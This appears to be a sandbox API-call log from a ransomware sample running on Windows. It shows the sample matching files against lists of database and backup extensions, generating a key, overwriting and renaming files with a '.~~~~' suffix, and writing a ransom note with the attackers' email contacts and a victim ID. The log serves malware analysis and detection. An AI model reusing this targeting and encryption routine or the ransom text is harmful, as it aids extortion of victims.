	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.847] lstrlenW (lpString=".dbf") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.847] lstrlenW (lpString=".SQL") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.848] lstrlenW (lpString=".pst") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.848] lstrlenW (lpString=".dbv") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.848] lstrlenW (lpString=".SDF") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.848] lstrlenW (lpString=".dtxs") returned 5
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.848] lstrlenW (lpString=".db3") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.848] lstrlenW (lpString=".OST") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.848] lstrlenW (lpString=".dbx") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.848] lstrlenW (lpString=".DB3") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.848] lstrlenW (lpString=".DAT") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.848] lstrlenW (lpString=".VHDX") returned 5
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.848] lstrlenW (lpString=".ndf") returned 4
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.848] lstrlenW (lpString=".DB") returned 3
	[0085.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.848] lstrlenW (lpString=".sql") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.849] lstrlenW (lpString=".MYD") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.849] lstrlenW (lpString=".DBT") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.849] lstrlenW (lpString=".ACCDB") returned 6
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.849] lstrlenW (lpString=".fdb") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.849] lstrlenW (lpString=".bak") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.849] lstrlenW (lpString=".myd") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.849] lstrlenW (lpString=".DTXS") returned 5
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.849] lstrlenW (lpString=".ckp") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.849] lstrlenW (lpString=".dbt") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.849] lstrlenW (lpString=".db") returned 3
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.849] lstrlenW (lpString=".TXT") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.849] lstrlenW (lpString=".MDF") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.849] lstrlenW (lpString=".bdb") returned 4
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.849] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.850] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.851] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.851] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2826fd8
	[0085.851] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20584098593) returned 1
	[0085.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cfbc610, dwHighDateTime=0x1d60e1e)) 
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2c28
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c28 | out: hHeap=0x300000) returned 1
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808e58
	[0085.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0085.851] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.852] GetLastError () returned 0x0
	[0085.852] GetLastError () returned 0x0
	[0085.852] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.852] GetLastError () returned 0x0
	[0085.852] GetLastError () returned 0x0
	[0085.855] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff8319, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.855] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x7ce7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce7, lpOverlapped=0x0) returned 1
	[0085.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.855] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.855] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.855] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.855] CloseHandle (hObject=0x124) returned 1
	[0085.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.~~~~")) returned 1
	[0085.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.857] GetLastError () returned 0x0
	[0085.857] RtlWakeConditionVariable () returned 0x365f70
	[0085.857] GetCurrentThreadId () returned 0x3a4
	[0085.857] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.857] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.859] CloseHandle (hObject=0x124) returned 1
	[0085.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0085.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0085.859] RtlWakeConditionVariable () returned 0x365f70
	[0085.859] GetCurrentThreadId () returned 0x3a4
	[0085.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.859] lstrlenW (lpString=".cmd") returned 4
	[0085.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.859] lstrlenW (lpString=".dll") returned 4
	[0085.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.859] lstrlenW (lpString=".bat") returned 4
	[0085.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.859] lstrlenW (lpString=".cpl") returned 4
	[0085.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.859] lstrlenW (lpString=".sys") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.860] lstrlenW (lpString=".msc") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.860] lstrlenW (lpString=".com") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.860] lstrlenW (lpString=".lnk") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.860] lstrlenW (lpString=".msp") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.860] lstrlenW (lpString=".pif") returned 4
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.860] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.861] lstrlenW (lpString=".sqb") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.861] lstrlenW (lpString=".ost") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.861] lstrlenW (lpString=".txt") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.861] lstrlenW (lpString=".mdt") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.861] lstrlenW (lpString=".BDB") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.861] lstrlenW (lpString=".eql") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.861] lstrlenW (lpString=".DBF") returned 4
	[0085.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.862] lstrlenW (lpString=".EQL") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.862] lstrlenW (lpString=".FDB") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.862] lstrlenW (lpString=".EDB") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.862] lstrlenW (lpString=".DACPAC") returned 7
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.862] lstrlenW (lpString=".VHD") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.862] lstrlenW (lpString=".DBV") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.862] lstrlenW (lpString=".dacpac") returned 7
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.862] lstrlenW (lpString=".sdf") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.862] lstrlenW (lpString=".accdb") returned 6
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.862] lstrlenW (lpString=".DBX") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.862] lstrlenW (lpString=".MDT") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.862] lstrlenW (lpString=".SQB") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.862] lstrlenW (lpString=".vhd") returned 4
	[0085.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.862] lstrlenW (lpString=".bac") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.863] lstrlenW (lpString=".mdf") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.863] lstrlenW (lpString=".BAK") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.863] lstrlenW (lpString=".BAC") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.863] lstrlenW (lpString=".dbs") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.863] lstrlenW (lpString=".vhdx") returned 5
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.863] lstrlenW (lpString=".NDF") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.863] lstrlenW (lpString=".dat") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.863] lstrlenW (lpString=".DBS") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.863] lstrlenW (lpString=".CKP") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.863] lstrlenW (lpString=".edb") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.863] lstrlenW (lpString=".PST") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.863] lstrlenW (lpString=".dbf") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.863] lstrlenW (lpString=".SQL") returned 4
	[0085.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.864] lstrlenW (lpString=".pst") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.864] lstrlenW (lpString=".dbv") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.864] lstrlenW (lpString=".SDF") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.864] lstrlenW (lpString=".dtxs") returned 5
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.864] lstrlenW (lpString=".db3") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.864] lstrlenW (lpString=".OST") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.864] lstrlenW (lpString=".dbx") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.864] lstrlenW (lpString=".DB3") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.864] lstrlenW (lpString=".DAT") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.864] lstrlenW (lpString=".VHDX") returned 5
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.864] lstrlenW (lpString=".ndf") returned 4
	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.864] lstrlenW (lpString=".DB") returned 3
